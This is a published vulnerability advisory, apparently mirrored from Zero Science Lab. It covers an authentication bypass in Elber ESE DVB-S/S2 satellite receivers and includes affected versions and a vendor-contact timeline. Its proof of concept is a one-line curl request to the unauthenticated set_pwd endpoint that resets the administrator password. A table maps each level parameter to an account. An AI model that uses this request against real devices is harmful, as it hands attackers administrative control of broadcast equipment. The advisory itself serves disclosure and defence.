Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass

2024-04-1700:00:00

Gjoko Krstic

zeroscience.mk

elber satellite equipment

authentication bypass

system access

privilege escalation

dos

vulnerability

vendor

gjoko krstic

zero science lab

7.7 High

AI Score

Confidence

Low

JSON

Title: Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass
Advisory ID: ZSL-2024-5820
Type: Local/Remote
Impact: Security Bypass, Privilege Escalation, System Access, DoS
Risk: (5/5)
Release Date: 17.04.2024

Summary

ESE (Elber Satellite Equipment) product line, designed for the high-end radio contribution and distribution market, where quality and reliability are most important. The Elber IRD (Integrated Receiver Decoder) ESE-01 offers a professional audio quality (and composite video) at an excellent quality/price ratio. The development of digital satellite contribution networks and the need to connect a large number of sites require a cheap but reliable and performing satellite receiver with integrated decoder.

Description

The device suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device’s system security.

Vendor

Elber S.r.l. - <https://www.elber.it>

Affected Version

1.5.179 Revision 904
1.5.56 Revision 884
1.229 Revision 440

Tested On

NBFM Controller
embOS/IP

Vendor Status

[18.08.2023] Vulnerability discovered.
[20.08.2023] Vendor contacted.
[29.09.2023] No response from the vendor.
[09.12.2023] Vendor contacted.
[02.02.2024] No response from the vendor.
[16.03.2024] Vendor contacted.
[16.04.2024] No response from the vendor.
[17.04.2024] Public security advisory released.

PoC

elber_ese_auth.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://packetstormsecurity.com/files/178140/>

Changelog

[17.04.2024] - Initial release
[22.05.2024] - Added reference [1]

Contact

Zero Science Lab

Web: <https://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.5.179 Revision 904
                  1.5.56 Revision 884
                  1.229 Revision 440

Summary: ESE (Elber Satellite Equipment) product line, designed for the
high-end radio contribution and distribution market, where quality and
reliability are most important. The Elber IRD (Integrated Receiver Decoder)
ESE-01 offers a professional audio quality (and composite video) at an
excellent quality/price ratio. The development of digital satellite contribution
networks and the need to connect a large number of sites require a cheap
but reliable and performing satellite receiver with integrated decoder.

Desc: The device suffers from an authentication bypass vulnerability through
a direct and unauthorized access to the password management functionality. The
issue allows attackers to bypass authentication by manipulating the set_pwd
endpoint that enables them to overwrite the password of any user within the
system. This grants unauthorized and administrative access to protected areas
of the application compromising the device's system security.

--------------------------------------------------------------------------
/modules/pwd.html
------------------
50: function apply_pwd(level, pwd)
51: {
52: 	$.get("json_data/set_pwd", {lev:level, pass:pwd},
53: 	function(data){
54: 		//$.alert({title:'Operation',text:data});
55: 		show_message(data);
56: 	}).fail(function(error){
57: 		show_message('Error ' + error.status, 'error');
58: 	});
59: }

--------------------------------------------------------------------------

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5820
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5820.php


18.08.2023

--


$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&amp;pass=admin1234

Ref (lev param):

Level 7 = SNMP Write Community (snmp_write_pwd)
Level 6 = SNMP Read Community (snmp_read_pwd)
Level 5 = Custom Password? hidden. (custom_pwd)
Level 4 = Display Password (display_pwd)?
Level 2 = Administrator Password (admin_pwd)
Level 1 = Super User Password (puser_pwd)
Level 0 = User Password (user_pwd)
</p></body></html>

7.7 High

AI Score

Confidence

Low

JSON